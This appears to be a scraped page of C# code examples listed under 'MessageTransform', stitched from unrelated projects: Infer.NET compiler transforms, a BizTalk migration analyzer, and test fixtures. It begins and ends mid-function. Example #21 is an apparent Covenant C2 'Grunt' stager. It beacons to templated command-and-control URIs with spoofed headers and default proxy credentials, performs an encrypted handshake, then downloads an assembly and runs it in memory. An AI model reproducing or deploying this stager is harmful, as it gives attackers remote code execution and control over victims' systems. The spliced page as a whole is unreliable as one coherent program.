                vtc.usageChannel.decl = vi.DeriveArrayVariable(stmts, context, vi.Name + "_uses", Builder.LiteralExpr(useCount), Builder.VarDecl("_ind", typeof(int)), useLiteralIndices: true);
                context.InputAttributes.CopyObjectAttributesTo <InitialiseTo>(vi.declaration, context.OutputAttributes, vtc.usageChannel.decl);
                context.OutputAttributes.Set(vtc.usageChannel.decl, vtc.usageChannel);
                context.OutputAttributes.Set(vtc.usageChannel.decl, new DescriptionAttribute("uses of '" + ivd.Name + "'"));
                SetMarginalPrototype(vtc.usageChannel.decl);

                //setAllGroupRoots(context, ivd, false);

                context.AddStatementsBeforeCurrent(stmts);

                // Append usageDepth indices to def/marginal/use expressions
                IExpression defExpr      = Builder.VarRefExpr(ivd);
                IExpression marginalExpr = Builder.VarRefExpr(vtc.marginalChannel.decl);
                IExpression usageExpr    = Builder.VarRefExpr(vtc.usageChannel.decl);
                IExpression countExpr    = Builder.LiteralExpr(useCount);

                // Add clone factor tying together all of the channels
                IMethodInvokeExpression usesEqualDefExpression;
                Type[] genArgs = new Type[] { vi.varType };
                if (algorithm is GibbsSampling && ((GibbsSampling)algorithm).UseSideChannels)
                {
                    GibbsSampling gs               = (GibbsSampling)algorithm;
                    IExpression   burnInExpr       = Builder.LiteralExpr(gs.BurnIn);
                    IExpression   thinExpr         = Builder.LiteralExpr(gs.Thin);
                    IExpression   samplesExpr      = Builder.VarRefExpr(vtc.samplesChannel.decl);
                    IExpression   conditionalsExpr = Builder.VarRefExpr(vtc.conditionalsChannel.decl);
                    if (isDerived)
                    {
                        Delegate d = new FuncOut3 <PlaceHolder, int, int, int, PlaceHolder, PlaceHolder, PlaceHolder, PlaceHolder[]>(Factor.ReplicateWithMarginalGibbs);
                        usesEqualDefExpression = Builder.StaticGenericMethod(d, genArgs, defExpr, countExpr, burnInExpr, thinExpr, marginalExpr, samplesExpr, conditionalsExpr);
                    }
                    else
                    {
                        Delegate d = new FuncOut3 <PlaceHolder, int, int, int, PlaceHolder, PlaceHolder, PlaceHolder, PlaceHolder[]>(Factor.UsesEqualDefGibbs);
                        usesEqualDefExpression = Builder.StaticGenericMethod(d, genArgs, defExpr, countExpr, burnInExpr, thinExpr, marginalExpr, samplesExpr, conditionalsExpr);
                    }
                }
                else
                {
                    Delegate d;
                    if (isDerived)
                    {
                        d = new FuncOut <PlaceHolder, int, PlaceHolder, PlaceHolder[]>(Factor.ReplicateWithMarginal <PlaceHolder>);
                    }
                    else
                    {
                        d = new FuncOut <PlaceHolder, int, PlaceHolder, PlaceHolder[]>(Factor.UsesEqualDef <PlaceHolder>);
                    }
                    usesEqualDefExpression = Builder.StaticGenericMethod(d, genArgs, defExpr, countExpr, marginalExpr);
                }
                if (isDerived)
                {
                    context.OutputAttributes.Set(usesEqualDefExpression, new DerivedVariable());            // used by Gibbs
                }
                // Mark this as a pseudo-factor
                context.OutputAttributes.Set(usesEqualDefExpression, new IsVariableFactor());
                if (useCount == 1)
                {
                    context.OutputAttributes.Set(usesEqualDefExpression, new DivideMessages(false));
                }
                else
                {
                    context.InputAttributes.CopyObjectAttributesTo <DivideMessages>(ivd, context.OutputAttributes, usesEqualDefExpression);
                }
                context.InputAttributes.CopyObjectAttributesTo <GivePriorityTo>(ivd, context.OutputAttributes, usesEqualDefExpression);
                IAssignExpression assignExpr = Builder.AssignExpr(usageExpr, usesEqualDefExpression);

                // Copy attributes across from input to output
                Context.InputAttributes.CopyObjectAttributesTo <Algorithm>(ivd, context.OutputAttributes, assignExpr);
                context.OutputAttributes.Remove <InitialiseTo>(ivd);
                if (vi.ArrayDepth == 0)
                {
                    // Insert the UsesEqualDef statement after the declaration.
                    // Note the variable will not have been defined yet.
                    context.AddStatementAfterCurrent(Builder.ExprStatement(assignExpr));
                }
                else
                {
                    // For an array, the UsesEqualDef statement should be inserted after the array is allocated.
                    // Store the statement for later use by ConvertArrayCreate.
                    context.InputAttributes.Remove <LoopContext>(ivd);
                    context.InputAttributes.Set(ivd, new LoopContext(context));
                    context.InputAttributes.Remove <Containers>(ivd);
                    context.InputAttributes.Set(ivd, new Containers(context));
                    vtc.usesEqualDefsStatements = Builder.StmtCollection();
                    vtc.usesEqualDefsStatements.Add(Builder.ExprStatement(assignExpr));
                }
            }
            // These must be set after the above or they will be copied to the other channels
            context.OutputAttributes.Set(ivd, vtc.defChannel);
            context.OutputAttributes.Set(vtc.defChannel.decl, new DescriptionAttribute("definition of '" + ivd.Name + "'"));
            return(ivde);
        }
Example #21
0
        public void ExecuteStager()
        {
            try
            {
                List <string> CovenantURIs            = @"{{REPLACE_COVENANT_URIS}}".Split(',').ToList();
                string        CovenantCertHash        = @"{{REPLACE_COVENANT_CERT_HASH}}";
                List <string> ProfileHttpHeaderNames  = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpUrls         = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string        ProfileHttpPostRequest  = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
                bool          ValidateCert            = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
                bool          UseCertPinning          = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");

                Random random        = new Random();
                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                using (RSA rsa = RSA.Create())
                {
                    rsa.KeySize = 2048;
                    byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                    byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                    byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                    string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls;
                    ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
                    {
                        bool valid = true;
                        if (UseCertPinning && CovenantCertHash != "")
                        {
                            valid = cert.GetCertHashString() == CovenantCertHash;
                        }
                        if (valid && ValidateCert)
                        {
                            valid = errors == System.Net.Security.SslPolicyErrors.None;
                        }
                        return(valid);
                    };
                    string          transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                    CookieWebClient wc             = null;
                    string          Stage0Response = "";
                    wc = new CookieWebClient();
                    wc.UseDefaultCredentials = true;
                    wc.Proxy             = WebRequest.DefaultWebProxy;
                    wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                    string CovenantURI = "";
                    foreach (string uri in CovenantURIs)
                    {
                        try
                        {
                            for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                            {
                                wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", ""));
                            }
                            wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
                            CovenantURI = uri;
                        }
                        catch
                        {
                            continue;
                        }
                    }
                    for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                    Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                    string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                    extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                    List <string> parsed       = Parse(extracted, MessageFormat);
                    string        iv64str      = parsed[3];
                    string        message64str = parsed[4];
                    string        hash64str    = parsed[5];
                    byte[]        messageBytes = Convert.FromBase64String(message64str);
                    if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                    {
                        return;
                    }
                    SetupAESKey.IV = Convert.FromBase64String(iv64str);
                    byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                    byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, RSAEncryptionPadding.OaepSHA1);

                    Aes SessionKey = Aes.Create();
                    SessionKey.Mode    = CipherMode.CBC;
                    SessionKey.Padding = PaddingMode.PKCS7;
                    SessionKey.Key     = FullyDecrypted;
                    SessionKey.GenerateIV();
                    hmac = new HMACSHA256(SessionKey.Key);
                    byte[] challenge1         = new byte[4];
                    RandomNumberGenerator rng = RandomNumberGenerator.Create();
                    rng.GetBytes(challenge1);
                    byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                    hash = hmac.ComputeHash(EncryptedChallenge1);

                    string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                    transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                    string Stage1Response = "";
                    for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                    Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                    extracted      = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                    extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                    parsed         = Parse(extracted, MessageFormat);
                    iv64str        = parsed[3];
                    message64str   = parsed[4];
                    hash64str      = parsed[5];
                    messageBytes   = Convert.FromBase64String(message64str);
                    if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                    {
                        return;
                    }
                    SessionKey.IV = Convert.FromBase64String(iv64str);

                    byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                    byte[] challenge1Test      = new byte[4];
                    byte[] challenge2          = new byte[4];
                    Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                    Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                    if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                    {
                        return;
                    }

                    SessionKey.GenerateIV();
                    byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                    hash = hmac.ComputeHash(EncryptedChallenge2);

                    string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                    transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                    string Stage2Response = "";
                    for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                    Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                    extracted      = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                    extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                    parsed         = Parse(extracted, MessageFormat);
                    iv64str        = parsed[3];
                    message64str   = parsed[4];
                    hash64str      = parsed[5];
                    messageBytes   = Convert.FromBase64String(message64str);
                    if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                    {
                        return;
                    }
                    SessionKey.IV = Convert.FromBase64String(iv64str);
                    byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                    Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                    gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });
                }
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
        }
Example #22
0
        /// <summary>
        /// Creates the schema for applications in the migration target.
        /// </summary>
        /// <param name="token">The cancellation token.</param>
        /// <returns>Task used to await the operation.</returns>
        protected override async Task AnalyzeInternalAsync(CancellationToken token)
        {
            // Get parsed BizTalk model from the application model
            var parsedApplicationGroup = Model.GetSourceModel <ParsedBizTalkApplicationGroup>();

            if (parsedApplicationGroup?.Applications == null)
            {
                _logger.LogDebug(TraceMessages.SkippingRuleAsSourceModelMissing, RuleName, nameof(MA001TransformAnalyzer));
            }
            else
            {
                _logger.LogDebug(TraceMessages.RunningRule, RuleName, nameof(MA001TransformAnalyzer));

                foreach (var targetApplication in Model.MigrationTarget.MessageBus.Applications)
                {
                    foreach (var message in targetApplication.Messages)
                    {
                        if (message.MessageSchema != null)
                        {
                            var messageResource = Model.FindResourceByKey(message.MessageSchema.ResourceKeyRef);
                            if (messageResource != null)
                            {
                                var schemaResource = Model.FindResourceByRefId(messageResource.ParentRefId);
                                if (schemaResource != null)
                                {
                                    var mapResources = schemaResource.FindRelatedResourcesByType(Model, ResourceRelationshipType.ReferencedBy, ModelConstants.ResourceMap);

                                    foreach (var mapResource in mapResources)
                                    {
                                        var transform = new MessageTransform
                                        {
                                            Name           = mapResource.Name,
                                            ResourceKeyRef = mapResource.Key
                                        };

                                        var transformSourceObject = (Transform)mapResource.SourceObject;
                                        transform.Properties.Add(ModelConstants.TypeName, transformSourceObject.FullName);

                                        // Source schemas.
                                        var sourceSchemaResources = mapResource.FindRelatedResourcesByType(Model, ResourceRelationshipType.ReferencedBy, ModelConstants.ResourceDocumentSchema);
                                        var sourceMessageTypes    = new List <string>();
                                        foreach (var sourceSchema in sourceSchemaResources)
                                        {
                                            transform.SourceSchemaKeyRefs.Add(sourceSchema.Key);
                                            var schema = sourceSchema.SourceObject as Schema;
                                            sourceMessageTypes.AddRange(schema.MessageDefinitions.Select(m => m.MessageType));
                                        }
                                        transform.Properties.Add(ModelConstants.SourceSchemaMessageTypes, sourceMessageTypes);

                                        // Target schemas.
                                        var targetSchemaResources = mapResource.FindRelatedResourcesByType(Model, ResourceRelationshipType.ReferencesTo, ModelConstants.ResourceDocumentSchema);
                                        var targetMessageTypes    = new List <string>();
                                        foreach (var targetSchema in targetSchemaResources)
                                        {
                                            transform.TargetSchemaKeyRefs.Add(targetSchema.Key);
                                            var schema = targetSchema.SourceObject as Schema;
                                            targetMessageTypes.AddRange(schema.MessageDefinitions.Select(m => m.MessageType));
                                        }
                                        transform.Properties.Add(ModelConstants.TargetSchemaMessageTypes, targetMessageTypes);

                                        // Add the transform to the list.
                                        message.MessageTransforms.Add(transform);
                                    }
                                }
                                else
                                {
                                    _logger.LogError(ErrorMessages.UnableToFindResourceReference, nameof(MA001TransformAnalyzer), messageResource.ParentRefId);
                                    Context.Errors.Add(new ErrorMessage(string.Format(CultureInfo.CurrentCulture, ErrorMessages.UnableToFindResourceReference, nameof(MA001TransformAnalyzer), messageResource.ParentRefId)));
                                }
                            }
                            else
                            {
                                _logger.LogError(ErrorMessages.UnableToFindResourceReference, nameof(MA001TransformAnalyzer), message.MessageSchema.ResourceKeyRef);
                                Context.Errors.Add(new ErrorMessage(string.Format(CultureInfo.CurrentCulture, ErrorMessages.UnableToFindResourceReference, nameof(MA001TransformAnalyzer), message.MessageSchema.ResourceKeyRef)));
                            }
                        }
                        else
                        {
                            _logger.LogError(ErrorMessages.TransformMessageSchemaMissing, RuleName, message.Name, nameof(MA001TransformAnalyzer));
                            Context.Errors.Add(new ErrorMessage(string.Format(CultureInfo.CurrentCulture, ErrorMessages.TransformMessageSchemaMissing, RuleName, message.Name, nameof(MA001TransformAnalyzer))));
                        }
                    }
                }

                _logger.LogDebug(TraceMessages.RuleCompleted, RuleName, nameof(MA001TransformAnalyzer));
            }

            await Task.CompletedTask.ConfigureAwait(false);
        }
        /// <summary>
        /// Converts variable declarations inside loops into array declarations at the top level.
        /// </summary>
        /// <param name="ivde"></param>
        /// <returns></returns>
        protected override IExpression ConvertVariableDeclExpr(IVariableDeclarationExpression ivde)
        {
            IVariableDeclaration ivd   = ivde.Variable;
            bool isLoneDeclaration     = (context.FindAncestorIndex <IExpressionStatement>() == context.Depth - 2);
            List <IForStatement> loops = context.FindAncestors <IForStatement>();

            if (loops.Count == 0)
            {
                List <IConditionStatement> ifs = context.FindAncestors <IConditionStatement>();
                if (ifs.Count == 0)
                {
                    return(ivde);
                }
                // Add declaration outside the if
                IStatement outermostContainer = ifs[0];
                int        ancIndex           = context.GetAncestorIndex(outermostContainer);
                var        defaultExpr        = Builder.DefaultExpr(ivd.VariableType);
                var        assignSt           = Builder.AssignStmt(ivde, defaultExpr);
                context.OutputAttributes.Set(assignSt, new Initializer());
                context.AddStatementBeforeAncestorIndex(ancIndex, assignSt);
                if (isLoneDeclaration)
                {
                    return(null);
                }
                else
                {
                    return(Builder.VarRefExpr(ivd));
                }
            }
            // ignore declaration of a loop variable
            if (Recognizer.LoopVariable(loops[loops.Count - 1]) == ivd)
            {
                return(ivde);
            }

            // Declaration is inside one or more loops, find their sizes and index variables
            Type        type      = Builder.ToType(ivd.VariableType);
            Type        arrayType = type;
            LoopVarInfo lvi       = new LoopVarInfo(loops);

            for (int i = 0; i < loops.Count; i++)
            {
                IForStatement loop = loops[i];
                lvi.indexVarRefs[i] = Builder.VarRefExpr(Recognizer.LoopVariable(loop));
                arrayType           = Util.MakeArrayType(arrayType, 1);
            }
            Predicate <int> isPartitionedAtDepth = (depth => context.InputAttributes.Has <Partitioned>(Recognizer.GetVariableDeclaration(lvi.indexVarRefs[depth])));
            Type            messageType          = Distributions.Distribution.IsDistributionType(type)
                                   ? MessageTransform.GetDistributionType(arrayType, type, type, 0, loops.Count, isPartitionedAtDepth)
                                   : MessageTransform.GetArrayType(arrayType, type, 0, isPartitionedAtDepth);

            lvi.arrayvd       = Builder.VarDecl(ivd.Name, messageType);
            loopVarInfos[ivd] = lvi;
            MessageArrayInformation mai = context.InputAttributes.Get <MessageArrayInformation>(ivd);

            if (mai != null)
            {
                mai.loopVarInfo = lvi;
            }
            context.InputAttributes.CopyObjectAttributesTo(ivd, context.OutputAttributes, lvi.arrayvd);
            context.InputAttributes.Remove <VariableInformation>(lvi.arrayvd);

            VariableInformation vi  = VariableInformation.GetVariableInformation(context, ivd);
            VariableInformation vi2 = VariableInformation.GetVariableInformation(context, lvi.arrayvd);

            vi2.IsStochastic = vi.IsStochastic;

            // Initialise the array to the appropriate sizes
            // TODO: change to work over loop brackets not loops
            IExpression expr = Builder.VarDeclExpr(lvi.arrayvd);

            for (int i = 0; i < loops.Count; i++)
            {
                IForStatement        loop     = loops[i];
                IExpression          loopSize = Recognizer.LoopSizeExpression(loop);
                IExpressionStatement assignSt = Builder.AssignStmt(expr,
                                                                   MessageTransform.GetArrayCreateExpression(expr, expr.GetExpressionType(),
                                                                                                             new IExpression[] { loopSize }));
                context.OutputAttributes.Set(assignSt.Expression, new DescriptionAttribute("Create array for replicates of '" + ivd.Name + "'"));
                context.OutputAttributes.Set(assignSt, new Initializer());

                if (expr is IVariableDeclarationExpression)
                {
                    expr = Builder.VarRefExpr(lvi.arrayvd);
                }
                expr = Builder.ArrayIndex(expr, lvi.indexVarRefs[i]);
                vi2.indexVars.Add(new IVariableDeclaration[] { Recognizer.GetVariableDeclaration(lvi.indexVarRefs[i]) });
                vi2.sizes.Add(new IExpression[] { loopSize });

                // Add declaration outside the loop
                int ancIndex = context.GetAncestorIndex(loop);
                context.AddStatementBeforeAncestorIndex(ancIndex, assignSt);
            }
            vi2.indexVars.AddRange(vi.indexVars);
            vi2.sizes.AddRange(vi.sizes);
            // If the variable declaration was a statement by itself, then return null (i.e. delete the statement).
            if (isLoneDeclaration)
            {
                return(null);
            }
            // Return a reference to the newly created array
            else
            {
                return(expr);
            }
        }
Example #24
0
        /// <summary>
        /// Get the message prototype in the specified direction
        /// </summary>
        /// <param name="channelInfo">The channel information</param>
        /// <param name="direction">The direction</param>
        /// <param name="marginalPrototypeExpression">The marginal prototype expression</param>
        /// <param name="path">Path name of message</param>
        /// <param name="queryTypes">The set of queries to support.  Only used for marginal channels.</param>
        /// <returns>An expression for the method prototype</returns>
        public override IExpression GetMessagePrototype(
            ChannelInfo channelInfo, MessageDirection direction,
            IExpression marginalPrototypeExpression, string path, IList <QueryType> queryTypes)
        {
            CodeBuilder Builder = CodeBuilder.Instance;

            if (channelInfo.IsMarginal)
            {
                // We want the marginal variable to be a GibbsEstimator over the appropriate
                // distribution type
                if (direction == MessageDirection.Forwards && !UseSideChannels)
                {
                    bool estimateMarginal = false;
                    bool collectSamples = false, collectDistributions = false;
                    foreach (QueryType qt in queryTypes)
                    {
                        if (qt.Name == "Marginal")
                        {
                            estimateMarginal = true;
                        }
                        else if (qt.Name == "Samples")
                        {
                            collectSamples = true;
                        }
                        else if (qt.Name == "Conditionals")
                        {
                            collectDistributions = true;
                        }
                    }
                    Type innermostMessageType = marginalPrototypeExpression.GetExpressionType();
                    Type innermostElementType = Distribution.IsDistributionType(innermostMessageType) ? Distribution.GetDomainType(innermostMessageType) : innermostMessageType;
                    //t = MessageExpressionTransform.GetDistributionType(channelInfo.varInfo.varType, channelInfo.varInfo.innermostElementType, innermostMessageType, true);
                    Type t          = MessageTransform.GetDistributionType(channelInfo.varInfo.varType, innermostElementType, innermostMessageType, true);
                    Type messTyp    = typeof(GibbsMarginal <,>).MakeGenericType(t, Distribution.GetDomainType(t));
                    bool isConstant = !channelInfo.varInfo.IsStochastic;
                    return(Builder.NewObject(
                               messTyp, (t == innermostMessageType) ? marginalPrototypeExpression : Builder.DefaultExpr(t), Quoter.Quote(isConstant ? 0 : this.BurnIn), Quoter.Quote(this.Thin),
                               Quoter.Quote(estimateMarginal), Quoter.Quote(collectSamples), Quoter.Quote(collectDistributions)));
                }
                else
                {
                    return(marginalPrototypeExpression);
                }
            }
            else
            {
                // Default is sample
                Type t         = marginalPrototypeExpression.GetExpressionType();
                bool useSample = (path != "Distribution");
                if (useSample)
                {
                    Type messTyp = Distribution.GetDomainType(t);
                    while (messTyp.IsArray)
                    {
                        messTyp = messTyp.GetElementType();
                    }
                    return(Builder.DefaultExpr(messTyp));
                }
                else
                {
                    return(marginalPrototypeExpression);
                }
            }
        }
Example #25
0
        /// <summary>
        /// Creates a default object model for converting.
        /// </summary>
        /// <returns></returns>
        public static AzureIntegrationServicesModel CreateDefaultModelForConverting()
        {
            var model = new AzureIntegrationServicesModel();

            // Create a report node with a resource container and resource definitions
            var resourceContainer = new ResourceContainer()
            {
                Name        = "TestApp1.msi",
                Description = "This is the description of the MSI.",
                Type        = ModelConstants.ResourceContainerMsi,
                Key         = "test-app-1-container-key"
            };

            model.MigrationSource.ResourceContainers.Add(resourceContainer);

            var appResourceDefinition1 = new ResourceDefinition()
            {
                Name        = "App 1 Resource Definition",
                Key         = "app-1",
                Description = "App 1 Description",
                Type        = ModelConstants.ResourceDefinitionApplicationDefinition
            };

            resourceContainer.ResourceDefinitions.Add(appResourceDefinition1);

            var appResource1 = new ResourceItem
            {
                Name        = "App 1 Resource Definition Application",
                Key         = "app-resource-1",
                Description = "App 1 Resource Description",
                Type        = ModelConstants.ResourceApplication
            };

            appResourceDefinition1.Resources.Add(appResource1);

            var appResourceDefinition2 = new ResourceDefinition()
            {
                Name        = "App 2 Resource Definition",
                Key         = "app-2",
                Description = "App 2 Description",
                Type        = ModelConstants.ResourceDefinitionApplicationDefinition
            };

            resourceContainer.ResourceDefinitions.Add(appResourceDefinition2);

            var appResource2 = new ResourceItem
            {
                Name        = "App 2 Resource Definition Application",
                Key         = "app-resource-2",
                Description = "App 1 Resource Description",
                Type        = ModelConstants.ResourceApplication
            };

            appResourceDefinition2.Resources.Add(appResource2);

            var appResourceDefinition3 = new ResourceDefinition()
            {
                Name        = "App 3 Resource Definition",
                Key         = "app-3",
                Description = "App 3 Description",
                Type        = ModelConstants.ResourceDefinitionApplicationDefinition
            };

            resourceContainer.ResourceDefinitions.Add(appResourceDefinition3);

            var appResource3 = new ResourceItem
            {
                Name        = "App 3 Resource Definition Application",
                Key         = "app-resource-3",
                Description = "App 3 Resource Description",
                Type        = ModelConstants.ResourceApplication
            };

            appResourceDefinition3.Resources.Add(appResource3);

            var schemaResourceDefinition1 = new ResourceDefinition()
            {
                Name            = "DocumentSchema1",
                Description     = "This is document schema 1.",
                Type            = ModelConstants.ResourceDefinitionSchema,
                Key             = "document-schema-1",
                ResourceContent = "<some xml>"
            };

            resourceContainer.ResourceDefinitions.Add(schemaResourceDefinition1);

            var schemaResource1 = new ResourceItem()
            {
                Name        = "DocumentSchema1",
                Description = "This is document schema 1.",
                Type        = ModelConstants.ResourceDocumentSchema,
                Key         = "document-schema-1:schema1",
                ParentRefId = schemaResourceDefinition1.RefId
            };

            schemaResourceDefinition1.Resources.Add(schemaResource1);

            var messageResource1 = new ResourceItem()
            {
                Name        = "Message1",
                Description = "This is message 1.",
                Type        = ModelConstants.ResourceMessageType,
                Key         = "document-schema-1:schema1:message1",
                ParentRefId = schemaResource1.RefId
            };

            schemaResource1.Resources.Add(messageResource1);

            var schemaResourceDefinition2 = new ResourceDefinition()
            {
                Name        = "DocumentSchema2",
                Description = "This is document schema 2.",
                Type        = ModelConstants.ResourceDefinitionSchema,
                Key         = "document-schema-2",
                ParentRefId = resourceContainer.RefId
            };

            resourceContainer.ResourceDefinitions.Add(schemaResourceDefinition2);

            var schemaResource2 = new ResourceItem()
            {
                Name        = "DocumentSchema2",
                Description = "This is document schema 2.",
                Type        = ModelConstants.ResourceDocumentSchema,
                Key         = "document-schema-2:schema2",
                ParentRefId = schemaResourceDefinition2.RefId
            };

            schemaResourceDefinition2.Resources.Add(schemaResource2);

            var messageResource2 = new ResourceItem()
            {
                Name        = "Message2",
                Description = "This is message 2.",
                Type        = ModelConstants.ResourceMessageType,
                Key         = "document-schema-2:schema2:message2",
                ParentRefId = schemaResource2.RefId
            };

            schemaResource2.Resources.Add(messageResource2);

            var schemaResourceDefinition3 = new ResourceDefinition()
            {
                Name        = "PropertySchema1",
                Description = "This is property schema 1.",
                Type        = ModelConstants.ResourceDefinitionSchema,
                Key         = "property-schema-1",
                ParentRefId = resourceContainer.RefId
            };

            resourceContainer.ResourceDefinitions.Add(schemaResourceDefinition3);

            var schemaResource3 = new ResourceItem()
            {
                Name        = "PropertySchema1",
                Description = "This is property schema 2.",
                Type        = ModelConstants.ResourceDocumentSchema,
                Key         = "property-schema-1:schema",
                ParentRefId = schemaResourceDefinition3.RefId
            };

            schemaResourceDefinition3.Resources.Add(schemaResource3);

            var messageResource3 = new ResourceItem()
            {
                Name        = "Message3",
                Description = "This is message 3.",
                Type        = ModelConstants.ResourceMessageType,
                Key         = "document-schema-3:schema3:message3",
                ParentRefId = schemaResource3.RefId
            };

            schemaResource3.Resources.Add(messageResource3);

            var schemaResource3Property1 = new ResourceItem()
            {
                Name        = "Property1",
                Description = "This is property 2",
                Key         = "property-schema-1:schema:Property1",
                Type        = ModelConstants.ResourcePropertySchema,
                ParentRefId = schemaResourceDefinition3.RefId
            };

            schemaResourceDefinition3.Resources.Add(schemaResource3Property1);

            var schemaResource3Property2 = new ResourceItem()
            {
                Name        = "Property2",
                Description = "This is property 2",
                Key         = "property-schema-1:schema:Property2",
                Type        = ModelConstants.ResourcePropertySchema,
                ParentRefId = schemaResourceDefinition3.RefId
            };

            schemaResourceDefinition3.Resources.Add(schemaResource3Property2);

            var transformResourceDefinition1 = new ResourceDefinition()
            {
                Name            = "Transform1",
                Description     = "This is transform 1.",
                Type            = ModelConstants.ResourceDefinitionMap,
                Key             = "transform-1",
                ParentRefId     = resourceContainer.RefId,
                ResourceContent = "<some xml>"
            };

            resourceContainer.ResourceDefinitions.Add(transformResourceDefinition1);

            var transformResource1 = new ResourceItem()
            {
                Name        = "Transform1",
                Description = "This is the transform 1, resource",
                Type        = ModelConstants.ResourceMap,
                Key         = "transform-1-resource",
                ParentRefId = transformResourceDefinition1.RefId
            };

            transformResourceDefinition1.Resources.Add(transformResource1);

            var bindingResourceDefinition1 = new ResourceDefinition()
            {
